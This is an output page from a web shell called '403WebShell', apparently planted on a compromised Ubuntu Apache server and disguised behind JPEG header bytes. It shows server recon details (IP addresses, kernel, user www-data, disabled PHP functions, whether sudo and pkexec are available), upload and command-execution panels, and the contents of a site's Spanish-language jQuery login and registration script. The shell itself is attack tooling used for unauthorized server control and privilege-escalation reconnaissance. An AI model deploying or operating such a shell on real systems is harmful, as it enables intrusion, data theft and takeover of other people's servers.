����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.68
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/self/root/var/www/html/rockyo/assets/js2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/self/root/var/www/html/rockyo/assets/js2/funciones.js
//arrancar login
$(document).ready(function () {
  $('#loginForm').on('submit', function (e) {
    e.preventDefault();

    const username = $('#username').val().trim();
    const password = $('#password').val().trim();

    if (username === '' || password === '') {
      Swal.fire({
        icon: 'warning',
        title: 'Campos vacíos',
        text: 'Por favor, ingresa usuario y contraseña.'
      });
      return;
    }

    $.ajax({
      url: '/rockyo/ajax/login_process.php',
      type: 'POST',
      data: {
        username: username,
        password: password
      },
      dataType: 'json',
      success: function (response) {
        if (response.success) {
          Swal.fire({
            icon: 'success',
            title: 'Bienvenido',
            text: 'Inicio de sesión exitoso',
            timer: 1500,
            showConfirmButton: false
          }).then(() => {
            window.location.href = response.redirect;
          });
        } else {
          mostrarError(response.error);
        }
      },
      error: function () {
        mostrarError("Error en el servidor. Intenta de nuevo.");
      }
    });
  });
});

function mostrarError(mensaje) {
  Swal.fire({
    icon: 'error',
    title: 'Oops...',
    text: mensaje
  });
}


// Registro
$('#registerForm').on('submit', function (e) {
  e.preventDefault();

  const username = $('#reg_username').val().trim();
  const email = $('#reg_email').val().trim();
  const password = $('#reg_password').val().trim();
  const confirm = $('#reg_confirm').val().trim();

  if (!username || !email || !password || !confirm) {
    return mostrarError('Todos los campos son obligatorios.');
  }

  if (password !== confirm) {
    return mostrarError('Las contraseñas no coinciden.');
  }

  $.ajax({
    url: '/rockyo/ajax/register_process.php',
    type: 'POST',
    data: { username, email, password },
    dataType: 'json',
    success: function (response) {
      if (response.success) {
        Swal.fire({
          icon: 'success',
          title: 'Registrado correctamente',
          text: 'Ahora puedes iniciar sesión.',
        }).then(() => {
          window.location.href = "/rockyo/view/login.php";
        });
      } else {
        mostrarError(response.error);
      }
    },
    error: function () {
      mostrarError("Error al registrar. Intenta más tarde.");
    }
  });
});

Youez - 2016 - github.com/yon3zu
LinuXploit